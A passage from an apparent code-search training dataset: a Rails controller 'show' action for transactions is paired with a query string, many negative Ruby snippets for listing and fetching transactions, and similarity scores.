[\"blank\",\"blank\",\"twenty\",\"thirty\",\"forty\",\"fifty\",\"sixty\",\"seventy\",\"eighty\",\"ninety\"]\n\n result = \"\"\n\n #Millions place\n\n left = int / 1000000\n remainder = int % 1000000\n\tresult << num_to_words(left) << \"million \" if left > 0\n\tint = remainder\n\n\t# #Thousands place\n\n\tleft = int / 1000\n\tremainder = int % 1000\n\tresult << num_to_words(left) << \"thousand \" if left > 0 \n\tint = remainder\n\n\t#Hundreds place\n\n\tleft = int / 100\n\tremainder = int % 100\n\tresult << num_to_words(left) << \"hundred \" if left > 0\n\tint = remainder\n\n\t#Tens place\n\n\tleft = int/10\n\tremainder = int % 10\n\n\tif left > 0\n\t\tif left == 1 && remainder > 0\n\t\t\tresult << teens_place[remainder]\n\t\t\tremainder = 0\n\t\telse\n\t\t\tresult << tens_place[left]\n\t\tend\n\tend\n\tleft = remainder\n\n\t# One's place\n\t\n\tresult << ones_place[left] if left > 0\n\tresult\nend", "def count_letters_in_word(word)\n return word.length\n end", "def scorePlaintext(plaintext)\n #Check for legible characters first, lots of junk data will be returned so we\n #can score well just by looking for valid chars\n charCount = plaintext.scan(/[a-zA-Z0-9\\s]/).length\n \n #Search for punctuation\n punctCount = plaintext.scan(/[[:punct:]]/).length\n \n return charCount + punctCount\nend", "def word_sizes(sentence)\n words = Hash.new(0)\n sentence.split.each {|x| words[x.count(\"A-Za-z\")] += 1}\n words\nend", "def spell(n)\n result = \"\"\n remaining = n\n \n while (remaining > 0) \n result.insert(0, lookup(remaining % 10).concat(\" \"))\n remaining = remaining / 10\n end\n \n return result\nend", "def LetterCount(str)\n\n \n words = str.split(\" \")\n most = \"\"\n count = 0\n \n words.each do |word|\n hash = Hash.new(0)\n word.split(\"\").each {|letter| hash[letter] += 1} #must split word\n repeats = hash.select {|letter, count| count >= 2}.size\n if repeats > count\n count = repeats\n most = word\n end\n \n end\n \n return most\n \nend", "def good_word(wordlist)\n # letter frequency\n freqs = Hash.new { |h,k| h[k] = 0 }\n wordlist.each do |w|\n w.chars.each { |c| freqs[c] += 1 }\n end\n\n # score = number of unique chars X sum of letter frequencies\n wordlist.max_by do |w|\n chars = w.chars.to_a.uniq\n chars.length * chars.map{|c| freqs[c]}.inject{|sum,n| sum + n}\n end\nend", "def score_word(word)\n word_letters = make_word_array(word)\n score = 0\n word_letters.each do |letter|\n score += LETTER_SCORES[letter]\n end\n score += 8 if word.length >= 7 && word.length <= 10\n return score\nend" ]
[ "0.7947011", "0.75092626", "0.73813367", "0.7328837", "0.71809787", "0.7142965", "0.71293914", "0.7121574", "0.70916915", "0.6979878", "0.69694245", "0.6926115", "0.69181764", "0.69076127", "0.6890779", "0.68777716", "0.6838594", "0.6807651", "0.677008", "0.6765634", "0.6761124", "0.67512614", "0.67293215", "0.6725598", "0.67253053", "0.6712284", "0.67026657", "0.66713434", "0.6653421", "0.664597", "0.6628071", "0.66270006", "0.66071665", "0.6589794", "0.6566759", "0.64922065", "0.64283156", "0.6413973", "0.64134604", "0.63978046", "0.635477", "0.6343039", "0.63326746", "0.6330966", "0.6329904", "0.6310373", "0.62884617", "0.62803274", "0.6271657", "0.6270145", "0.62665826", "0.625461", "0.6249821", "0.62345535", "0.62259215", "0.6215041", "0.6203214", "0.61926764", "0.6186671", "0.61663365", "0.61486644", "0.61406547", "0.61235994", "0.6116573", "0.6097474", "0.6084119", "0.6077696", "0.6070759", "0.6066832", "0.6050766", "0.6042635", "0.6025854", "0.60238945", "0.60179317", "0.60164726", "0.6011145", "0.5997387", "0.5988498", "0.59846556", "0.59794307", "0.59725416", "0.59724563", "0.59720564", "0.5967597", "0.5962063", "0.5958482", "0.5950892", "0.59415174", "0.59308535", "0.5926383", "0.59248406", "0.5918132", "0.59159577", "0.591081", "0.5882479", "0.58802795", "0.5877152", "0.5868923", "0.5847085", "0.5844024" ]
0.6898518
14
GET /transactions GET /transactions.xml
def index if @account.nil? @transactions = Transaction.all_for_account_group(@user_options.account_group) #@transactions = Transaction.find :all, :conditions => ['credit_account_id in (select id from accounts where user_id = ?) or debit_account_id in (select id from accounts where user_id = ?)', @current_user.id, @current_user.id], :order => ['trans_date desc, id desc'] else @transactions = @account.transactions.find :all, :order => ['trans_date desc, id desc'] end respond_to do |format| format.html # index.html.erb format.xml { render :xml => @transactions } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @transactions = Transaction.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def transactions\n JSON.parse(response.body).fetch('transactions')\n end", "def getTransactions\n\t\t\n\tend", "def get_transactions(service)\n\t\treturn @transport.get_path(\"transactions\",service)\n\tend", "def fetch_wallets_transactions(filters = {})\n MangoPay.request(:get, url() + \"/transactions\", {}, filters)\n end", "def index\n @account_transactions = AccountTransaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @account_transactions }\n end\n end", "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end", "def gettransaction(txid)\n request :gettransaction, txid\n end", "def transactionById\n results = HTTParty.get(\"http://192.168.99.101:4050/transactions/\" + (params[:id]).to_s)\n render json: results.parsed_response, status: results.code\n end", "def index\n @help = \"Transaction List\"\n @transactions = @account.transactions.find(:all, :order => \"tran_date desc, created_at desc\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n user_coin_transactions = get_user_coin_transactions\n if user_coin_transactions\n json_response(user_coin_transactions)\n else \n json_response({:status => false, :message => 'no transaction'})\n end\n end", "def transactions account_id\n data = perform_get(\"#{ACCOUNTS_PATH}/#{account_id}/transactions\")\n data[:accountTransactions] || []\n end", "def transactions_get(opts = {})\n data, _status_code, _headers = transactions_get_with_http_info(opts)\n data\n end", "def my_transactions\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n @transactions = Transaction.all \n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n redirect_to :root\n return\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def all_transactions\n json_response(Transaction.all)\n end", "def get_transactions\n @transactions\n end", "def gettransaction(txid)\n @api.request 'gettransaction', txid\n end", "def gettransaction(txid)\n @api.request 'gettransaction', txid\n end", "def index\n @transactions = Transaction.all \n end", "def index\n @transactions = current_user.wallet.transactions\n\n end", "def index\n @transactions = @transactions.paginate(:page => params[:page], :per_page => 10)\n end", "def index\n @transaction_details = TransactionDetail.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @transaction_details.to_xml }\n end\n end", "def index\n @transactions = Transaction.all\n render json: @transactions\n end", "def transactions\n @transactions ||= ArkEcosystem::Client::API::Transactions.new(@client) # rubocop:disable Metrics/LineLength\n end", "def index\n @transactions = current_user.transactions\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def index\n @transactions = @account.transactions\n paginate @transactions.count, 20 do |limit, offset|\n render json: @transactions.limit(limit).offset(offset)\n end\n\n # render json: @transactions\n end", "def show\n @account = @user.account\n @transactions = @account.transactions\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end", "def get_transactions(type = 'all', limit = 10)\n post_data = initial_post_data\n post_data['method'] = 'getTransactions'\n post_data['params'] = [type, limit]\n post_request(post_data)\n end", "def index\n limit = params[:limit] || MonzoTransaction.count\n @page = { page: params[:page], per_page: limit.to_i }\n @order = params[:order] || \"created_at\"\n\n @transactions = MonzoTransaction.order(@order).paginate(@page)\n @balance = MonzoTransaction.balance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions, callback: params[:callback] }\n format.xml { render xml: @transactions }\n format.rss { render 'feed' }\n end\n end", "def index\n account = Account.find(params[:account_id].to_i)\n @transactions = account.transactions\n\n transactions_json = TransactionSerializer.new(@transactions).serialized_json\n render json: transactions_json\n end", "def transactions\n res = filter\n .apply( account.all_transactions.reverse_order(:created_at) )\n\n res\n .paginate(page, per_page)\n end", "def show\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_transaction }\n end\n end", "def show\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_transaction }\n end\n end", "def index\n @transactions = User.find(params[:id])\n end", "def index\n if @account\n @transactions = @account.transactions\n else\n @transactions = Transaction.all\n end\n render json: @transactions\n end", "def index\n @transaction_requests = TransactionRequest.all\n end", "def get_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.get_transactions ...\"\n end\n # resource path\n local_var_path = \"/transactions\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_invoice'] = opts[:'filter_invoice'] if !opts[:'filter_invoice'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTransactionResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#get_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @transactions = Transaction.all\n render_success_response({\n transaction: array_serializer.new(@transactions, serializer: TransactionSerializer)\n })\n end", "def get_bank_transactions(options = {})\n request_params = {}\n request_params[:BankTransactionID] = options[:bank_transaction_id] if options[:bank_transaction_id]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:order] = options[:order] if options[:order]\n request_params[:where] = options[:where] if options[:where]\n request_params[:page] = options[:page] if options[:page]\n\n response_xml = http_get(@client, \"#{@xero_url}/BankTransactions\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/BankTransactions'})\n end", "def get_transactions(opts = {})\n data, _status_code, _headers = get_transactions_with_http_info(opts)\n data\n end", "def transaction\n add_breadcrumb \"Merchants\", epsadmin_merchants_path\n add_breadcrumb \"#{@transc_merchant.first_name}\", epsadmin_merchant_path(@transc_merchant.merchant_uniq_id)\n @epsadmin_transaction_list = @transc_merchant.transactions.order(\"created_at DESC\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @epsadmin_transaction_list }\n end\n end", "def transactions_by_ref(merchant_ref)\n client.get \"transactions/#{inst_id}/byRef?merchantRef=#{merchant_ref}\"\n end", "def getTransaction( transaction_id)\n params = Hash.new\n params['transaction_id'] = transaction_id\n return doCurl(\"get\",\"/transaction\",params)\n end", "def all\n @page[:per_page] = MonzoTransaction.count\n @transactions = MonzoTransaction.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html { render 'index' }\n format.json { render json: @transactions, callback: params[:callback] }\n format.xml { render xml: @transactions }\n format.rss { render 'feed' }\n end\n end", "def index\n @settlements = @transaction.settlements.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @settlements }\n end\n end", "def user_transactions\n user_deposits = get_user_deposits\n user_withdrawals = get_user_withdrawals\n json_response({:user_transactions => @user_transactions, :user_deposits => user_deposits, :user_withdrawals => user_withdrawals})\n end", "def listtransactions(account, count = 10)\n request :listtransactions, account, count\n end", "def get_transaction(tx_id:)\n client.make_request('/get-transaction', 'post', params: {tx_id: tx_id})\n end", "def get_transaction(account_id, transaction_id)\n query_api_object Transaction, \"/rest/accounts/#{account_id}/transactions/#{transaction_id}\"\n end", "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end", "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end", "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end", "def get_transactions(opts = {})\n data, _status_code, _headers = get_transactions_with_http_info(opts)\n return data\n end", "def show\n @transactions = Transaction.where(user_id: params[:id])\n render json: @transactions\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def index\n @w_transactions = WTransaction.all\n end", "def show\n @transactions = @envelope.transactions if @envelope.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @envelope }\n end\n end", "def index\n @m_transactions = MTransaction.all\n end", "def get_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.get_transactions ...'\n end\n if @api_client.config.client_side_validation && opts[:'transactions_type'] && !['automated', 'manual'].include?(opts[:'transactions_type'])\n fail ArgumentError, 'invalid value for \"transactions_type\", must be one of automated, manual'\n end\n # resource path\n local_var_path = '/transactions'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'external_id'] = opts[:'external_id'] if !opts[:'external_id'].nil?\n query_params[:'sender_id'] = opts[:'sender_id'] if !opts[:'sender_id'].nil?\n query_params[:'transactions_type'] = opts[:'transactions_type'] if !opts[:'transactions_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#get_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @acct_transactions = AcctTransaction.all\n end", "def index\n @account_transactions = AccountTransaction.paginate(page: params[:page], per_page: 30)\n end", "def index\n @customers = current_user.customers.paginate(:per_page => 20, :page => params[:page], :order => 'name', :include => :transactions)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end", "def get(transaction_id:)\n client.get(path: \"#{sub_path}/#{transaction_id}\", api_key: api_key)\n end", "def index\n @journal = Journal.find(params[:journal]) if params[:journal]\n @transactions = Transaction.rev_chrono\n @transactions = @transactions.for_journal(params[:journal]) if params[:journal]\n \n if params[:filter] == 'tagged' && params[:tags]\n @transactions = @transactions.with_tag(params[:tags])\n end\n \n @transactions = @transactions.page params[:page]\n respond_with(@transactions)\n end", "def transactions\n txs = @client.listtransactions.reverse\n txs.map do |tx|\n tx = symbolize tx\n Transaction.new(\n account: tx.f(:account),\n address: tx.f(:address),\n category: tx.f(:category),\n amount: tx.f(:amount),\n vout: tx.f(:vout),\n confirmations: tx.f(:confirmations),\n blockhash: tx[:blockhash],\n blockindex: tx[:blockindex],\n blocktime: tx[:blocktime],\n txid: tx.f(:txid),\n keychainconflicts: tx.f(:keychainconflicts),\n time: tx.f(:time),\n timereceived: tx.f(:timereceived),\n )\n end\n end", "def show\n @az_balance_transaction = AzBalanceTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @az_balance_transaction }\n end\n end", "def index\n\t@transactions = current_user.transactions.all.order(created_at: :desc)\n\trender json: { transactions: @transactions }\nend", "def get_transactions_from_account\n # Get transactions for a specific account\n account = Account.find(params[:account_id])\n transactions_sent = account.sent_transactions\n transactions_received = account.received_transactions\n return transactions_sent + transactions_received\n end", "def index\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n if not @transactions\n flash.now[:error] = \"No transactions found for this user!\"\n end\n end", "def transactionGet(options={})\n assert_valid_keys(options, :transactionId)\n assert_keys_exists(options, :transactionId)\n execute(:transactionGet, options)\n end", "def transactionGet(options={})\n assert_valid_keys(options, :transactionId)\n assert_keys_exists(options, :transactionId)\n execute(:transactionGet, options)\n end", "def index\n @bitcoin_transactions = BitcoinTransaction.all\n end", "def show\n @transaction = MonzoTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transaction, callback: params[:callback] }\n format.xml { render xml: @transaction }\n end\n end", "def fetch_wallet_transactions(funds_type, currency_iso_code, filters = {})\n MangoPay.request(:get, url() + \"/wallets/#{funds_type}/#{currency_iso_code}/transactions\", {}, filters)\n end", "def index\n @transaction_participants = Transaction::Participant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transaction_participants }\n end\n end", "def transactions(account_id, opts = {})\n query = {}\n query['cursor'] = opts[:cursor] if opts[:cursor]\n query['start'] = opts[:start] if opts[:start]\n query['end'] = opts[:end] if opts[:end]\n query['time_field'] = opts[:time_field] if opts[:time_field]\n\n api_get(path(account_id), query)\n end", "def transactions\n case params[:name]\n when 'missing'\n @transactions = @set.missing_transactions\n when 'overlapping'\n @transactions = @set.overlapping_transactions\n else\n @transactions = []\n end\n\n respond_to do |format|\n format.js\n format.html\n end\n end", "def index\n @transaction_goods_taxes = Transaction::Goods::Taxe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transaction_goods_taxes }\n end\n end" ]
[ "0.73905945", "0.72314066", "0.7173773", "0.716757", "0.7102065", "0.70384026", "0.6965002", "0.6963874", "0.6867353", "0.684523", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6787413", "0.6779044", "0.67628807", "0.67415446", "0.6725768", "0.6714389", "0.6713578", "0.6713578", "0.6713578", "0.6702868", "0.6698179", "0.66929895", "0.6689581", "0.6689581", "0.6650542", "0.66207576", "0.66167045", "0.66085094", "0.6607154", "0.6597251", "0.65932906", "0.65865654", "0.65865654", "0.65865654", "0.65865654", "0.65865654", "0.65806085", "0.6576087", "0.6550225", "0.65491545", "0.6546077", "0.65318996", "0.6512895", "0.6512895", "0.6511177", "0.65074235", "0.6488304", "0.6480318", "0.64773095", "0.64747083", "0.64659154", "0.6435483", "0.6420608", "0.6412822", "0.63968354", "0.6383928", "0.6372113", "0.6361318", "0.63515705", "0.63502234", "0.63492787", "0.63492787", "0.63492787", "0.6325766", "0.63187796", "0.6297232", "0.62756693", "0.62730736", "0.6259799", "0.62543905", "0.6242209", "0.6239412", "0.62329036", "0.62326586", "0.6224293", "0.6221112", "0.6215765", "0.621528", "0.6213372", "0.62067765", "0.6206239", "0.6206239", "0.62047404", "0.6196132", "0.6190242", "0.61852765", "0.6183749", "0.6177165", "0.61748844" ]
0.0
-1
GET /transactions/1 GET /transactions/1.xml
def show @transaction = Transaction.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @transaction } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @transactions = Transaction.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def gettransaction(txid)\n request :gettransaction, txid\n end", "def transactionById\n results = HTTParty.get(\"http://192.168.99.101:4050/transactions/\" + (params[:id]).to_s)\n render json: results.parsed_response, status: results.code\n end", "def getTransactions\n\t\t\n\tend", "def get_transactions(service)\n\t\treturn @transport.get_path(\"transactions\",service)\n\tend", "def index\n @account_transactions = AccountTransaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @account_transactions }\n end\n end", "def gettransaction(txid)\n @api.request 'gettransaction', txid\n end", "def gettransaction(txid)\n @api.request 'gettransaction', txid\n end", "def index\n @transaction_details = TransactionDetail.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @transaction_details.to_xml }\n end\n end", "def show\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_transaction }\n end\n end", "def show\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_transaction }\n end\n end", "def index\n @help = \"Transaction List\"\n @transactions = @account.transactions.find(:all, :order => \"tran_date desc, created_at desc\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def index\n redirect_to :root\n return\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "def getTransaction( transaction_id)\n params = Hash.new\n params['transaction_id'] = transaction_id\n return doCurl(\"get\",\"/transaction\",params)\n end", "def show\n @account = @user.account\n @transactions = @account.transactions\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end", "def transactions\n JSON.parse(response.body).fetch('transactions')\n end", "def get(transaction_id:)\n client.get(path: \"#{sub_path}/#{transaction_id}\", api_key: api_key)\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def fetch_wallets_transactions(filters = {})\n MangoPay.request(:get, url() + \"/transactions\", {}, filters)\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def index\n @transactions = Transaction.all\n end", "def transactions_by_ref(merchant_ref)\n client.get \"transactions/#{inst_id}/byRef?merchantRef=#{merchant_ref}\"\n end", "def index\n @transactions = Transaction.all \n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def show\n @transaction_detail = TransactionDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @transaction_detail.to_xml }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n @category = Category.find(:first, :conditions => { :id => @transaction.category_id })\n @account = Account.find(:first, :conditions => { :id => @transaction.account_id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "def index\n user_coin_transactions = get_user_coin_transactions\n if user_coin_transactions\n json_response(user_coin_transactions)\n else \n json_response({:status => false, :message => 'no transaction'})\n end\n end", "def index\n @transactions = Transaction.all \n end", "def index\n @transactions = @transactions.paginate(:page => params[:page], :per_page => 10)\n end", "def show\n @tx = Tx.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tx }\n end\n end", "def get_transaction(account_id, transaction_id)\n query_api_object Transaction, \"/rest/accounts/#{account_id}/transactions/#{transaction_id}\"\n end", "def show\n @settlement = @transaction.settlements.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @settlement }\n end\n end", "def show\n @az_balance_transaction = AzBalanceTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @az_balance_transaction }\n end\n end", "def index\n limit = params[:limit] || MonzoTransaction.count\n @page = { page: params[:page], per_page: limit.to_i }\n @order = params[:order] || \"created_at\"\n\n @transactions = MonzoTransaction.order(@order).paginate(@page)\n @balance = MonzoTransaction.balance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions, callback: params[:callback] }\n format.xml { render xml: @transactions }\n format.rss { render 'feed' }\n end\n end", "def show\n @transaction = MonzoTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transaction, callback: params[:callback] }\n format.xml { render xml: @transaction }\n end\n end", "def my_transactions\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "def get_transaction(tx_id:)\n client.make_request('/get-transaction', 'post', params: {tx_id: tx_id})\n end", "def get_transaction(id)\n submit GetTransaction.new(:transaction_id => id)\n end", "def show\n @transaction = Transaction.find(params[:id])\n end", "def show\n @transaction = Transaction.find(params[:id])\n end", "def show\n @transaction = Transaction.find(params[:id])\n end", "def index\n @settlements = @transaction.settlements.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @settlements }\n end\n end", "def index\n @transactions = User.find(params[:id])\n end", "def show\n @cash_transaction = CashTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cash_transaction }\n end\n end", "def transaction\n add_breadcrumb \"Merchants\", epsadmin_merchants_path\n add_breadcrumb \"#{@transc_merchant.first_name}\", epsadmin_merchant_path(@transc_merchant.merchant_uniq_id)\n @epsadmin_transaction_list = @transc_merchant.transactions.order(\"created_at DESC\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @epsadmin_transaction_list }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "def get_transactions(type = 'all', limit = 10)\n post_data = initial_post_data\n post_data['method'] = 'getTransactions'\n post_data['params'] = [type, limit]\n post_request(post_data)\n end", "def show\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @transaction }\n end\n end", "def show\r\n @transfers = Transfer.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @transfers.to_xml(:dasherize => false) }\r\n end\r\n end", "def show\n @transaction = Transaction.find_by_id(params[:id])\n end", "def index\n account = Account.find(params[:account_id].to_i)\n @transactions = account.transactions\n\n transactions_json = TransactionSerializer.new(@transactions).serialized_json\n render json: transactions_json\n end", "def index\n @journal = Journal.find(params[:journal]) if params[:journal]\n @transactions = Transaction.rev_chrono\n @transactions = @transactions.for_journal(params[:journal]) if params[:journal]\n \n if params[:filter] == 'tagged' && params[:tags]\n @transactions = @transactions.with_tag(params[:tags])\n end\n \n @transactions = @transactions.page params[:page]\n respond_with(@transactions)\n end", "def index\n @transaction_requests = TransactionRequest.all\n end", "def index\n @transactions = current_user.wallet.transactions\n\n end", "def transaction_request(transaction,total=nil)\n transaction_request = Cielo::TransactionRequest.new\n resul = send_request(transaction_request.serialize(transaction))\n end", "def index\n @transactions = Transaction.all\n render json: @transactions\n end", "def transaction(tx_hash)\n call :get, \"/tx/#{tx_hash}\"\n end", "def get_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentsTransactionsApi.get_transactions 